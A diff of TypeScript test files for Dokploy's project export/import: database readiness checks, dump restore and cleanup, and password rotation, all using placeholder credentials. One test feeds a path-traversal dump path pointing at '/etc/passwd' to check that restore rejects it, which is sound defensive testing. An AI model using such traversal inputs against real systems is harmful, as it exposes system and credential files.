if (!command.includes("SELECT 1")) return { stdout: "", stderr: "" };
|
||||
const ok = outcomes[calls++] ?? true;
|
||||
if (!ok) throw new Error("the database system is shutting down");
|
||||
return { stdout: "1", stderr: "" };
|
||||
});
|
||||
try {
|
||||
await waitUntilReady(null, "db-app", 'psql -tAc "SELECT 1"', {
|
||||
intervalMs: 0,
|
||||
stableSuccesses: 3,
|
||||
});
|
||||
} finally {
|
||||
(execAsync as any).mockImplementation(previous);
|
||||
}
|
||||
expect(calls).toBe(6);
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildWaitReadyScript", () => {
|
||||
it("guards against an empty CONTAINER_ID before exec'ing the probe", () => {
|
||||
const script = buildWaitReadyScript("my-db-abc123", "pg_isready");
|
||||
expect(script).toContain('if [ -z "$CONTAINER_ID" ]; then exit 1; fi');
|
||||
expect(script).toContain("docker exec");
|
||||
expect(script).toContain("pg_isready");
|
||||
});
|
||||
});
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "embed" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: {},
|
||||
environments: [],
|
||||
services: [],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [
|
||||
{
|
||||
serviceId: "pg-1",
|
||||
serviceType: "postgres",
|
||||
mode: "embed",
|
||||
ext: "sql.gz",
|
||||
path: "dumps/pg-1.sql.gz",
|
||||
bytes: 100,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const dbFor = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
postgres: {
|
||||
findFirst: async () => ({
|
||||
postgresId: "pg-new-1",
|
||||
appName: "my-db-new-1",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "dokploy",
|
||||
databasePassword: "p",
|
||||
serverId: null,
|
||||
}),
|
||||
},
|
||||
destinations: { findFirst: async () => undefined },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const resultFor = (): TransferResult =>
|
||||
({
|
||||
idMap: { postgres: { "pg-1": "pg-new-1" } },
|
||||
}) as any as TransferResult;
|
||||
|
||||
describe("restoreDumps uses the workspace dump directly when it already sits on the target server", () => {
|
||||
it("neither copies nor removes anything and restores from the workspace path", async () => {
|
||||
failRestoreBox.value = false;
|
||||
vi.mocked(remove).mockClear();
|
||||
vi.mocked(copyFile).mockClear();
|
||||
|
||||
const errors = await restoreDumps(
|
||||
dbFor(),
|
||||
snapshot,
|
||||
resultFor(),
|
||||
{ serverId: null, path: "/tmp/work" },
|
||||
{
|
||||
readiness: { intervalMs: 0, stableSuccesses: 1 },
|
||||
deploy: { postgres: async () => {} },
|
||||
},
|
||||
);
|
||||
|
||||
expect(errors).toHaveLength(0);
|
||||
expect(copyFile).not.toHaveBeenCalled();
|
||||
expect(remove).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("restoreDumps cleans up the copied remote dump file (T-5.8)", () => {
|
||||
it("removes the remote dump path after a successful restore", async () => {
|
||||
failRestoreBox.value = false;
|
||||
vi.mocked(remove).mockClear();
|
||||
|
||||
const errors = await restoreDumps(
|
||||
dbFor(),
|
||||
snapshot,
|
||||
resultFor(),
|
||||
{ serverId: "workspace-server", path: "/tmp/work" },
|
||||
{
|
||||
readiness: { intervalMs: 0, stableSuccesses: 1 },
|
||||
deploy: { postgres: async () => {} },
|
||||
},
|
||||
);
|
||||
|
||||
expect(errors).toHaveLength(0);
|
||||
expect(remove).toHaveBeenCalledWith({
|
||||
serverId: null,
|
||||
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
|
||||
});
|
||||
});
|
||||
|
||||
it("still removes the remote dump path when the restore command itself fails", async () => {
|
||||
failRestoreBox.value = true;
|
||||
vi.mocked(remove).mockClear();
|
||||
|
||||
const errors = await restoreDumps(
|
||||
dbFor(),
|
||||
snapshot,
|
||||
resultFor(),
|
||||
{ serverId: "workspace-server", path: "/tmp/work" },
|
||||
{
|
||||
readiness: { intervalMs: 0, stableSuccesses: 1 },
|
||||
deploy: { postgres: async () => {} },
|
||||
},
|
||||
);
|
||||
|
||||
expect(errors).toHaveLength(1);
|
||||
expect(remove).toHaveBeenCalledWith({
|
||||
serverId: null,
|
||||
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
|
||||
});
|
||||
|
||||
failRestoreBox.value = false;
|
||||
});
|
||||
});
|
||||
|
||||
describe("restoreDumps rejects an unsafe dump.path (T-9.1)", () => {
|
||||
it("never copies the dump and reports a restore error for a path-traversal dump.path", async () => {
|
||||
vi.mocked(copyFile).mockClear();
|
||||
const maliciousSnapshot: Snapshot = {
|
||||
...snapshot,
|
||||
dumps: [
|
||||
{
|
||||
serviceId: "pg-1",
|
||||
serviceType: "postgres",
|
||||
mode: "embed",
|
||||
ext: "sql.gz",
|
||||
path: "../../../../etc/passwd",
|
||||
bytes: 100,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const errors = await restoreDumps(
|
||||
dbFor(),
|
||||
maliciousSnapshot,
|
||||
resultFor(),
|
||||
{ serverId: "workspace-server", path: "/tmp/work" },
|
||||
{
|
||||
readiness: { intervalMs: 0, stableSuccesses: 1 },
|
||||
deploy: { postgres: async () => {} },
|
||||
},
|
||||
);
|
||||
|
||||
expect(copyFile).not.toHaveBeenCalled();
|
||||
expect(errors).toHaveLength(1);
|
||||
expect(errors[0]?.error).toContain("Unsafe path in bundle");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,583 @@
|
||||
import {
|
||||
applications,
|
||||
mounts,
|
||||
postgres,
|
||||
projects,
|
||||
} from "@dokploy/server/db/schema";
|
||||
import type {
|
||||
ExportScope,
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
apply,
|
||||
buildPlan,
|
||||
buildRotationPlan,
|
||||
capture,
|
||||
detectRequirements,
|
||||
detectWarnings,
|
||||
rotateText,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("rotateText", () => {
|
||||
it("replaces both the literal and URL-encoded form of the old password", () => {
|
||||
const specs = [
|
||||
{
|
||||
serviceId: "pg-new-1",
|
||||
serviceType: "postgres" as const,
|
||||
field: "databasePassword" as const,
|
||||
oldPassword: "p@ss",
|
||||
newPassword: "n3wpass",
|
||||
},
|
||||
];
|
||||
const { text, matched } = rotateText(
|
||||
"DATABASE_URL=postgres://user:p%40ss@host/db",
|
||||
specs,
|
||||
);
|
||||
expect(text).toBe("DATABASE_URL=postgres://user:n3wpass@host/db");
|
||||
expect(matched).toHaveLength(1);
|
||||
expect(matched[0]?.count).toBe(1);
|
||||
});
|
||||
|
||||
it("counts multiple literal occurrences across the text", () => {
|
||||
const specs = [
|
||||
{
|
||||
serviceId: "pg-new-1",
|
||||
serviceType: "postgres" as const,
|
||||
field: "databasePassword" as const,
|
||||
oldPassword: "oldpass",
|
||||
newPassword: "newpass",
|
||||
},
|
||||
];
|
||||
const { text, matched } = rotateText(
|
||||
"A=oldpass\nB=oldpass\nC=unrelated",
|
||||
specs,
|
||||
);
|
||||
expect(text).toBe("A=newpass\nB=newpass\nC=unrelated");
|
||||
expect(matched[0]?.count).toBe(2);
|
||||
});
|
||||
|
||||
it("leaves text untouched and reports no match when the password isn't present", () => {
|
||||
const specs = [
|
||||
{
|
||||
serviceId: "pg-new-1",
|
||||
serviceType: "postgres" as const,
|
||||
field: "databasePassword" as const,
|
||||
oldPassword: "oldpass",
|
||||
newPassword: "newpass",
|
||||
},
|
||||
];
|
||||
const { text, matched } = rotateText("nothing to see here", specs);
|
||||
expect(text).toBe("nothing to see here");
|
||||
expect(matched).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("processes the longer old password first so a short password isn't spliced into a longer, unrelated one", () => {
|
||||
const specs = [
|
||||
{
|
||||
serviceId: "svc-a",
|
||||
serviceType: "postgres" as const,
|
||||
field: "databasePassword" as const,
|
||||
oldPassword: "secret",
|
||||
newPassword: "A_NEW",
|
||||
},
|
||||
{
|
||||
serviceId: "svc-b",
|
||||
serviceType: "postgres" as const,
|
||||
field: "databasePassword" as const,
|
||||
oldPassword: "mysecret123",
|
||||
newPassword: "B_NEW",
|
||||
},
|
||||
];
|
||||
const { text } = rotateText(
|
||||
"A=secret\nB=postgres://u:mysecret123@host/db",
|
||||
specs,
|
||||
);
|
||||
expect(text).toBe("A=A_NEW\nB=postgres://u:B_NEW@host/db");
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildRotationPlan", () => {
|
||||
it("gives databasePassword and databaseRootPassword the same new value when the source used the same value for both", async () => {
|
||||
const tx = {
|
||||
query: {
|
||||
mysql: {
|
||||
findFirst: async () => ({
|
||||
mysqlId: "mysql-new-1",
|
||||
databasePassword: "sharedpass",
|
||||
databaseRootPassword: "sharedpass",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any;
|
||||
const snapshot = {
|
||||
resources: {
|
||||
services: [
|
||||
{
|
||||
kind: "mysql",
|
||||
mysqlId: "mysql-old-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
} as any;
|
||||
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
|
||||
|
||||
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
|
||||
|
||||
expect(specs).toHaveLength(2);
|
||||
const appSpec = specs.find((s) => s.field === "databasePassword");
|
||||
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
|
||||
expect(appSpec?.newPassword).toBeDefined();
|
||||
expect(appSpec?.newPassword).toBe(rootSpec?.newPassword);
|
||||
|
||||
const { text } = rotateText(
|
||||
"MYSQL_ROOT_PASSWORD=sharedpass\nMYSQL_PASSWORD=sharedpass",
|
||||
specs,
|
||||
);
|
||||
expect(text).toBe(
|
||||
`MYSQL_ROOT_PASSWORD=${rootSpec?.newPassword}\nMYSQL_PASSWORD=${appSpec?.newPassword}`,
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps a password that is too short or equal to the user/name and reports it", async () => {
|
||||
const tx = {
|
||||
query: {
|
||||
postgres: {
|
||||
findFirst: async () => ({
|
||||
postgresId: "pg-new-1",
|
||||
databaseUser: "app",
|
||||
databaseName: "app",
|
||||
databasePassword: "app",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any;
|
||||
const snapshot = {
|
||||
resources: {
|
||||
services: [
|
||||
{
|
||||
kind: "postgres",
|
||||
postgresId: "pg-old-1",
|
||||
name: "db",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
} as any;
|
||||
|
||||
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
|
||||
postgres: { "pg-old-1": "pg-new-1" },
|
||||
});
|
||||
|
||||
expect(specs).toHaveLength(0);
|
||||
expect(unsafe).toEqual([
|
||||
expect.objectContaining({
|
||||
serviceId: "pg-new-1",
|
||||
serviceType: "postgres",
|
||||
}),
|
||||
]);
|
||||
});
|
||||
|
||||
it("keeps a mysql service whose root password is too short", async () => {
|
||||
const tx = {
|
||||
query: {
|
||||
mysql: {
|
||||
findFirst: async () => ({
|
||||
mysqlId: "my-new-1",
|
||||
databaseUser: "app",
|
||||
databaseName: "app",
|
||||
databasePassword: "long-enough-password",
|
||||
databaseRootPassword: "1",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any;
|
||||
const snapshot = {
|
||||
resources: {
|
||||
services: [
|
||||
{
|
||||
kind: "mysql",
|
||||
mysqlId: "my-old-1",
|
||||
name: "db",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
} as any;
|
||||
|
||||
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
|
||||
mysql: { "my-old-1": "my-new-1" },
|
||||
});
|
||||
|
||||
expect(specs).toHaveLength(0);
|
||||
expect(unsafe).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("still generates independent new passwords when app and root passwords differ", async () => {
|
||||
const tx = {
|
||||
query: {
|
||||
mysql: {
|
||||
findFirst: async () => ({
|
||||
mysqlId: "mysql-new-1",
|
||||
databasePassword: "app-pass",
|
||||
databaseRootPassword: "root-pass",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any;
|
||||
const snapshot = {
|
||||
resources: {
|
||||
services: [{ kind: "mysql", mysqlId: "mysql-old-1" }],
|
||||
},
|
||||
} as any;
|
||||
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
|
||||
|
||||
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
|
||||
|
||||
const appSpec = specs.find((s) => s.field === "databasePassword");
|
||||
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
|
||||
expect(appSpec?.newPassword).not.toBe(rootSpec?.newPassword);
|
||||
});
|
||||
});
|
||||
|
||||
const applicationWithDbRef = {
|
||||
applicationId: "app-1",
|
||||
name: "my-app",
|
||||
appName: "my-app-abc123",
|
||||
environmentId: "env-1",
|
||||
env: "DATABASE_URL=postgres://u:realdbpassword123@db/mydb",
|
||||
buildArgs: "BUILD_DB_PASS=realdbpassword123",
|
||||
buildSecrets: null,
|
||||
previewEnv: null,
|
||||
serverId: null,
|
||||
buildServerId: null,
|
||||
githubId: null,
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
refreshToken: "webhook-token",
|
||||
registryId: null,
|
||||
buildRegistryId: null,
|
||||
rollbackRegistryId: null,
|
||||
customGitSSHKeyId: null,
|
||||
customGitSSHKey: null,
|
||||
networkIds: [],
|
||||
owner: null,
|
||||
repository: null,
|
||||
sourceType: "docker",
|
||||
autoDeploy: false,
|
||||
isPreviewDeploymentsActive: false,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [],
|
||||
mounts: [
|
||||
{
|
||||
mountId: "mount-1",
|
||||
type: "file",
|
||||
content: "password = realdbpassword123",
|
||||
mountPath: "/etc/app.conf",
|
||||
serviceType: "application",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
redirects: [],
|
||||
security: [],
|
||||
ports: [],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const applicationWithoutDbRef = {
|
||||
...applicationWithDbRef,
|
||||
applicationId: "app-2",
|
||||
appName: "my-app-two-def456",
|
||||
name: "my-app-two",
|
||||
env: "UNRELATED=1",
|
||||
buildArgs: null,
|
||||
mounts: [],
|
||||
};
|
||||
|
||||
const postgresService = {
|
||||
postgresId: "pg-1",
|
||||
name: "my-db",
|
||||
appName: "my-db-xyz789",
|
||||
environmentId: "env-1",
|
||||
env: "",
|
||||
databasePassword: "realdbpassword123",
|
||||
serverId: null,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
mounts: [],
|
||||
backups: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
compose: [],
|
||||
};
|
||||
|
||||
const projectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-src",
|
||||
env: "",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: true,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [applicationWithDbRef, applicationWithoutDbRef],
|
||||
postgres: [postgresService],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const readDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: { findFirst: async () => projectTree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
applications: {
|
||||
findMany: async () => [applicationWithDbRef, applicationWithoutDbRef],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
vaultProvider: { findMany: async () => [] },
|
||||
registry: { findMany: async () => [] },
|
||||
destinations: { findMany: async () => [] },
|
||||
network: { findMany: async () => [] },
|
||||
certificates: { findMany: async () => [] },
|
||||
gitProvider: { findMany: async () => [] },
|
||||
server: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => ({ organizationId: "org-dest" }),
|
||||
},
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
sshKeys: { findMany: async () => [] },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const runApplyForRotationTest = async (rotateDatabaseCredentials: boolean) => {
|
||||
const db = readDb();
|
||||
const captureResult = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
{
|
||||
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
|
||||
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
|
||||
},
|
||||
);
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: baseScope,
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: captureResult.inventory.totals,
|
||||
},
|
||||
resources: captureResult.resources,
|
||||
requirements: captureResult.requirements,
|
||||
warnings: captureResult.warnings,
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const plan: Plan = await buildPlan(
|
||||
db,
|
||||
snapshot,
|
||||
"org-dest",
|
||||
{ kind: "newProject", name: "imported-project" },
|
||||
{ rotateDatabaseCredentials },
|
||||
);
|
||||
|
||||
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
|
||||
let counter = 0;
|
||||
const idFieldByTable = new Map<unknown, string>([
|
||||
[projects, "projectId"],
|
||||
[applications, "applicationId"],
|
||||
[postgres, "postgresId"],
|
||||
[mounts, "mountId"],
|
||||
]);
|
||||
const environmentsTable = (await import("@dokploy/server/db/schema"))
|
||||
.environments;
|
||||
idFieldByTable.set(environmentsTable, "environmentId");
|
||||
|
||||
const writeDb = {
|
||||
query: {
|
||||
vaultProvider: { findFirst: async () => undefined },
|
||||
github: { findFirst: async () => undefined },
|
||||
gitlab: { findFirst: async () => undefined },
|
||||
gitea: { findFirst: async () => undefined },
|
||||
bitbucket: { findFirst: async () => undefined },
|
||||
applications: {
|
||||
findFirst: async () => (insertedByTable.get(applications) ?? [])[0],
|
||||
},
|
||||
postgres: {
|
||||
findFirst: async () => (insertedByTable.get(postgres) ?? [])[0],
|
||||
},
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
mounts: {
|
||||
findMany: async (args?: { where?: unknown }) =>
|
||||
(insertedByTable.get(mounts) ?? []).filter((row) =>
|
||||
args?.where ? row.type === "file" : true,
|
||||
),
|
||||
},
|
||||
projects: {
|
||||
findFirst: async () => (insertedByTable.get(projects) ?? [])[0],
|
||||
},
|
||||
environments: {
|
||||
findFirst: async () =>
|
||||
(insertedByTable.get(environmentsTable) ?? [])[0],
|
||||
},
|
||||
compose: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: (table: unknown) => ({
|
||||
values: (values: Record<string, unknown>) => {
|
||||
const idField = idFieldByTable.get(table);
|
||||
const row = { ...values };
|
||||
if (idField) {
|
||||
row[idField] =
|
||||
(values[idField] as string | undefined) ??
|
||||
`new-${idField}-${++counter}`;
|
||||
}
|
||||
const list = insertedByTable.get(table) ?? [];
|
||||
list.push(row);
|
||||
insertedByTable.set(table, list);
|
||||
return { returning: async () => [row] };
|
||||
},
|
||||
}),
|
||||
update: (table: unknown) => ({
|
||||
set: (values: Record<string, unknown>) => ({
|
||||
where: async (condition: any) => {
|
||||
const chunks = condition?.queryChunks ?? [];
|
||||
const paramChunk = chunks.find(
|
||||
(c: any) => c?.constructor?.name === "Param",
|
||||
);
|
||||
const columnChunk = chunks.find(
|
||||
(c: any) => typeof c?.name === "string",
|
||||
);
|
||||
const list = insertedByTable.get(table) ?? [];
|
||||
for (const row of list) {
|
||||
if (
|
||||
!columnChunk ||
|
||||
!paramChunk ||
|
||||
row[columnChunk.name] === paramChunk.value
|
||||
) {
|
||||
Object.assign(row, values);
|
||||
}
|
||||
}
|
||||
},
|
||||
}),
|
||||
}),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
|
||||
return fn({ ...writeDb });
|
||||
},
|
||||
} as any as TransferWriteDb;
|
||||
|
||||
const result = await apply(
|
||||
writeDb,
|
||||
snapshot,
|
||||
plan,
|
||||
captureResult.secretsPlain,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
return {
|
||||
result,
|
||||
insertedPostgres: (insertedByTable.get(postgres) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>,
|
||||
insertedApps: insertedByTable.get(applications) ?? [],
|
||||
insertedMounts: insertedByTable.get(mounts) ?? [],
|
||||
};
|
||||
};
|
||||
|
||||
describe("apply() with rotateDatabaseCredentials (opt-in)", () => {
|
||||
it("rotates the postgres password, rewrites the referencing app's env, build args and file mount, and warns about the app with no reference", async () => {
|
||||
const { result, insertedPostgres, insertedApps, insertedMounts } =
|
||||
await runApplyForRotationTest(true);
|
||||
|
||||
expect(insertedPostgres.databasePassword).not.toBe("realdbpassword123");
|
||||
expect(typeof insertedPostgres.databasePassword).toBe("string");
|
||||
|
||||
const referencingApp = insertedApps.find(
|
||||
(a) => a.applicationId === result.idMap.application?.["app-1"],
|
||||
);
|
||||
const nonReferencingApp = insertedApps.find(
|
||||
(a) => a.applicationId === result.idMap.application?.["app-2"],
|
||||
);
|
||||
expect(String(referencingApp?.env)).toContain(
|
||||
String(insertedPostgres.databasePassword),
|
||||
);
|
||||
expect(String(referencingApp?.env)).not.toContain("realdbpassword123");
|
||||
expect(String(referencingApp?.buildArgs)).toBe(
|
||||
`BUILD_DB_PASS=${insertedPostgres.databasePassword}`,
|
||||
);
|
||||
expect(String(insertedMounts[0]?.content)).toBe(
|
||||
`password = ${insertedPostgres.databasePassword}`,
|
||||
);
|
||||
expect(String(nonReferencingApp?.env)).toBe("UNRELATED=1");
|
||||
|
||||
expect(result.rotations).toHaveLength(1);
|
||||
expect(result.rotations[0]).toMatchObject({
|
||||
field: "databasePassword",
|
||||
occurrences: 3,
|
||||
});
|
||||
|
||||
expect(
|
||||
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("leaves the password untouched when rotateDatabaseCredentials is false (the default)", async () => {
|
||||
const { result, insertedPostgres, insertedApps } =
|
||||
await runApplyForRotationTest(false);
|
||||
|
||||
expect(insertedPostgres.databasePassword).toBe("realdbpassword123");
|
||||
|
||||
const referencingApp = insertedApps.find(
|
||||
(a) => a.applicationId === result.idMap.application?.["app-1"],
|
||||
);
|
||||
expect(String(referencingApp?.env)).toContain("realdbpassword123");
|
||||
|
||||
expect(result.rotations).toHaveLength(0);
|
||||
expect(
|
||||
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,468 @@
|
||||
import { mkdtemp, rm } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import {
|
||||
applications,
|
||||
compose,
|
||||
domains,
|
||||
mounts,
|
||||
ports,
|
||||
projects,
|
||||
registry,
|
||||
schedules,
|
||||
security,
|
||||
} from "@dokploy/server/db/schema";
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
apply,
|
||||
buildPlan,
|
||||
capture,
|
||||
detectRequirements,
|
||||
detectWarnings,
|
||||
inspectBundle,
|
||||
LOCAL_SERVER_CANDIDATE_ID,
|
||||
serialize,
|
||||
unlockBundle,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const PASSPHRASE = "correct-horse-battery-staple";
|
||||
|
||||
const application = {
|
||||
applicationId: "app-1",
|
||||
name: "my-app",
|
||||
appName: "my-app-abc123",
|
||||
environmentId: "env-1",
|
||||
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
|
||||
buildArgs: null,
|
||||
buildSecrets: null,
|
||||
previewEnv: null,
|
||||
serverId: null,
|
||||
buildServerId: null,
|
||||
githubId: null,
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
refreshToken: "webhook-token",
|
||||
registryId: "registry-src-1",
|
||||
buildRegistryId: null,
|
||||
rollbackRegistryId: null,
|
||||
customGitSSHKeyId: null,
|
||||
customGitSSHKey: null,
|
||||
networkIds: [],
|
||||
owner: null,
|
||||
repository: null,
|
||||
sourceType: "docker",
|
||||
autoDeploy: false,
|
||||
isPreviewDeploymentsActive: false,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [
|
||||
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
|
||||
],
|
||||
mounts: [
|
||||
{
|
||||
mountId: "mount-1",
|
||||
type: "file",
|
||||
content: "server { listen 80; }",
|
||||
mountPath: "/etc/nginx/nginx.conf",
|
||||
serviceType: "application",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
redirects: [],
|
||||
security: [
|
||||
{
|
||||
securityId: "sec-1",
|
||||
username: "admin",
|
||||
password: "basicauthpass",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
ports: [
|
||||
{
|
||||
portId: "port-1",
|
||||
publishedPort: 8080,
|
||||
publishMode: "host",
|
||||
targetPort: 80,
|
||||
protocol: "tcp",
|
||||
},
|
||||
],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const composeService = {
|
||||
composeId: "compose-1",
|
||||
name: "my-compose",
|
||||
appName: "my-compose-def456",
|
||||
environmentId: "env-1",
|
||||
env: "",
|
||||
serverId: null,
|
||||
composeFile: "services:\n web:\n image: nginx\n",
|
||||
sourceType: "raw",
|
||||
composeType: "docker-compose",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [],
|
||||
mounts: [],
|
||||
backups: [],
|
||||
schedules: [
|
||||
{
|
||||
scheduleId: "schedule-1",
|
||||
name: "nightly-restart",
|
||||
cronExpression: "0 0 * * *",
|
||||
shellType: "bash",
|
||||
scheduleType: "compose",
|
||||
command: "docker compose restart",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
},
|
||||
],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
postgres: [],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
};
|
||||
|
||||
const projectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-src",
|
||||
env: "",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: true,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [application],
|
||||
compose: [composeService],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const readDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: { findFirst: async () => projectTree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
applications: {
|
||||
findMany: async () => [application],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
vaultProvider: {
|
||||
findMany: async () => [
|
||||
{
|
||||
vaultProviderId: "vault-dest-1",
|
||||
name: "prod",
|
||||
providerType: "hashicorp",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
registry: {
|
||||
findMany: async () => [
|
||||
{
|
||||
registryId: "registry-src-1",
|
||||
registryName: "Acme",
|
||||
